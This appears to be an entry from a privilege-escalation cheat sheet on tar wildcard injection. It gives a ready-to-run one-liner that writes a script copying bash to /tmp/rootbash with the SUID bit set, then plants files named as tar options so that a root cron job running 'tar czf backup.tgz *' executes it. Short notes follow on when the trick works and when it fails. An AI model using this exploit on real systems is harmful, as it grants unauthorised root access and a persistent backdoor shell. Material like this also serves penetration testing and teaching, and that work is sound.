wildcard injection (tar)

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh && touch -- '--checkpoint=1' && touch -- '--checkpoint-action=exec=sh shell.sh'

Injects arguments into a tar command using wildcards: creates files named --checkpoint and --checkpoint-action that tar interprets as options, executing a script with the process's privileges (normally root via cron or SUID).

When there is a cronjob or SUID binary that executes 'tar czf backup.tgz *' or equivalent in a directory where you can create files. The shell wildcards expand to your file names, and tar parses them as options: checkpoint + exec = code as root.

If the working directory is not writable or tar is invoked with absolute paths without wildcards, no injection is possible. Also not if tar is compiled with protection against options after files (--) or if the script uses 'tar -- *': then the arguments are no longer interpreted.